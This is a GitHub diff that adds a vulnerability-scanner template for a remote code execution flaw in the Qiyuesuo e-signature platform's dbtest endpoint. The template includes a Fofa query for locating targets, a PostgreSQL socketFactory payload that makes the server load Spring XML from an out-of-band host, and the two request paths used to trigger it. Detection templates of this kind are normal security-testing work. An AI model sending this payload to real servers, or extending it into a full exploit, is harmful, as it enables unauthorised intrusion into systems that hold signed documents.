File tree Expand file tree Collapse file tree 1 file changed +33
-0
lines changed
Expand file tree Collapse file tree 1 file changed +33
-0
lines changed Original file line number Diff line number Diff line change 1+ id : qiyuesuo-dbtest-rce
2+
3+ info :
4+ name : 契约锁电子签署平台 dbtest 远程代码执行漏洞
5+ author : NiceAsiv
6+ severity : critical
7+ verified : true
8+ description : |
9+ 契约锁-dbtest-远程代码执行,通过构造特定的数据库连接参数,可以触发Spring框架的XML外部实体注入,导致远程代码执行。
10+ Fofa: app="契约锁-电子签署平台"
11+ reference :
12+ - https://www.knowsafe.com/help/da96b84336e04b1f32f3a66cfc28a133.shtml
13+ - https://mp.weixin.qq.com/s/gmfx97xH4OHtGSJ0UmgOKA
14+
15+ set :
16+ oob : oob()
17+ oobHTTP : oob.HTTP
18+ payload : urlencode("test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=" + oobHTTP)
19+
20+ rules :
21+ r0 :
22+ request :
23+ method : GET
24+ path : /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name={{payload}}
25+ expression : oobCheck(oob, oob.ProtocolHTTP, 3)
26+
27+ r1 :
28+ request :
29+ method : GET
30+ path : /api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name={{payload}}
31+ expression : oobCheck(oob, oob.ProtocolHTTP, 3)
32+
33+ expression : r0() || r1()
You can’t perform that action at this time.
0 commit comments